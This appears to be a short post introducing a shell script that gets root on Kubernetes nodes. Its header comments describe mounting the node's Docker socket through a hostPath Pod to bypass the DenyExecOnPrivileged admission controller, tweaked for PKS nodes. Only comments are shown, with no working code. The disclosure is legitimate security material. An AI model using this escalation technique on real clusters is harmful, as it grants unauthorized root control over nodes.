Yeah. Get a root shell at any Kubernetes *node* via `privileged: true` + `nsenter` sauce. PodSecurityPolicy will save us. DenyExecOnPrivileged didn't (kubectl-root-in-host-nopriv.sh exploits it)

## kubectl-root-in-host-nopriv.pks.sh
#!/bin/sh
# Launch a Pod ab-using a hostPath mount to land on a Kubernetes node cluster as root
# without requiring `privileged: true`, in particular can abuse `DenyExecOnPrivileged`
# admission controller.
# Pod command in turn runs a privileged container using node's /var/run/docker.sock.
#
# Tweaked for PKS nodes, which run their docker stuff from different
# /var/vcap/... paths
